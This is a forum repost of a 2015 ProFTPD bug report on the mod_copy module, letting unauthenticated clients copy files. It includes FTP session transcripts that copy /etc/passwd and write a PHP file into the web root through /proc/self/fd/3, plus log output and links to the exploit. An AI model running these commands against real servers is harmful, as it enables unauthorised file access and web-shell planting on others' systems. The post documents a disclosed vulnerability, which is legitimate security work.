KhiZaRix Posted April 20, 2015 Report Posted April 20, 2015 Description TJ Saunders 2015-04-07 16:35:03 UTCVadim Melihow reported a critical issue with proftpd installations that use themod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commandsto be used by *unauthenticated clients*:---------------------------------Trying 80.150.216.115...Connected to 80.150.216.115.Escape character is '^]'.220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]site help214-The following SITE commands are recognized (* =>'s unimplemented)214-CPFR <sp> pathname214-CPTO <sp> pathname214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path214-SYMLINK <sp> source <sp> destination214-RMDIR <sp> path214-MKDIR <sp> path214-The following SITE extensions are recognized:214-RATIO -- show all ratios in effect214-QUOTA214-HELP214-CHGRP214-CHMOD214 Direct comments to root@www01asite cpfr /etc/passwd350 File or directory exists, ready for destination namesite cpto /tmp/passwd.copy250 Copy successful-----------------------------------------He provides another, scarier example:------------------------------site cpfr /etc/passwd350 File or directory exists, ready for destination namesite cpto <?php phpinfo(); ?>550 cpto: Permission deniedsite cpfr /proc/self/fd/3350 File or directory exists, ready for destination namesite cpto /var/www/test.phptest.php now contains----------------------2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q(slon-P5Q.lan[192.168.3.193]): FTP session opened.2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?phpphpinfo(); ?>' for copying: Permission denied-----------------------test.php contains contain correct php script "<?php phpinfo(); ?>" whichcan be run by the php interpreterSource: http://bugs.proftpd.org/show_bug.cgi?id=4169Source: http://packetstorm.wowhacker.com/1504-exploits/proftpd135-filecopy.txt Quote